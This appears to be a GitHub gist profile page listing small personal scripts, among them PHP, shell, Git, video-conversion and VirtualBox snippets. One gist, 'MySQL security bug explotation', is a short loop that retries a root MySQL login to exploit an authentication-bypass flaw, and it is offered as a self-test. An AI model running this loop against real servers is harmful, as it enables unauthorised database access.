Skip to content

Instantly share code, notes, and snippets.

View arglbr's full-sized avatar

Adriano Rodrigo Guerreiro Laranjeira arglbr

View GitHub Profile
@arglbr
arglbr / get_date_from_ntp_server.php
Created December 11, 2018 22:39
Get date from a NTP server with PHP
<?PHP
error_reporting(E_ALL ^ E_NOTICE);
ini_set("display_errors", 1);
// Without the line below, the time comes in UTC.
// date_default_timezone_set('America/Sao_Paulo');
function query_ntp_server ($timeserver) {
try {
$socket = fsockopen("udp://$timeserver", 123, $err_no, $err_str, 1);
@arglbr
arglbr / shared_folder_centos_virtualbox.txt
Created January 12, 2017 23:41 — forked from larsar/shared_folder_centos_virtualbox.txt
Mount shared folder on CentOS in VirtualBox
# The VirtualBox documentation[1] for how to install guest additions
# for Linux on a virtual host is somewhat messy. So here is what
# I did to make it work.
# Install the packages required
yum update
yum install gcc kernel-devel make
reboot
@arglbr
arglbr / netsrv_nocgit.sh
Created July 10, 2012 15:26
Git "automation" script
#!/bin/sh
# Adriano Laranjeira (@arglbr)
# Based on:
# http://jonrohan.me/guide/git/dead-simple-git-workflow-for-agile-teams/
# Language: PT-BR
#
nocGitHelp(){
echo "Uso: nocgit [ARG] [BRANCH]"
echo "Cria nova branch, atualiza a source tree local, envia as"
@arglbr
arglbr / mysqlbug20120612.sh
Created June 12, 2012 16:16
MySQL security bug explotation
#!/bin/bash
#
# If this works for you, UPDATE YOUR MYSQL ASAP!!
for i in `seq 1 1000`;
do mysql -u root --password=xxxxx -h mysql_host 2>/dev/null;
done;
@arglbr
arglbr / mkv2avi.sh
Created June 2, 2012 01:18
A MKV to AVI script
#!/bin/bash
# How to use it:
# mkv2avi file.mkv file.avi
# Obviously the script must be executable.
#
mencoder $1 -ovc lavc -lavcopts vcodec=mpeg4:threads=8:vbitrate=3000 -oac pcm -o /tmp/tmp01.avi
ffmpeg -i /tmp/tmp01.avi -vcodec copy -vtag xvid -acodec copy $2
rm -fv /tmp/tmp01.avi
@arglbr
arglbr / imagecut.sh
Created May 26, 2012 23:24
Cutting pieces from an image... just a "before-dinner" script :-)
#!/bin/bash
for i in `seq 0 6`;
do echo "Extrating $i..."
convert comprovante.png -crop 383x385+0+`echo $i*385 | bc` comp$i.png;
done;
@arglbr
arglbr / gist:2571302
Created May 1, 2012 20:53
Is it a readable code for you?
<?php
// Is it readable?
$wait = ($wait = array_shift($itens['wait'])) ? "<div id=\"wait\" class=\"t1\">$wait</div>" : null;
@arglbr
arglbr / HTTP_Request2_ErrorOnDefaultAdapter
Created February 7, 2012 01:30
An unknown behavior of the Pear::HTTP_Request2
<?php
require_once "HTTP/Request2.php";
/*
.
.
.
*/
$req = new \HTTP_Request2('https://browserid.org/verify', \HTTP_Request2::METHOD_POST, array('ssl_verify_peer' => false,));
$req->setAdapter('curl');
<?php
class Gravatar {
const HTTP_URL = 'http://www.';
const HTTPS_URL = 'https://secure.';
const BASE_URL = 'gravatar.com/';
const AVATAR_URL = 'avatar/';
private $email_address;
private function setHash() {
return md5(strtolower(trim($this->email_address)));
<?php
print <<<MSG
Testing the awesome Gist.vim plugin at... VIM!!
It can be get at: http://www.vim.org/scripts/script.php?script_id=2423
;-)
--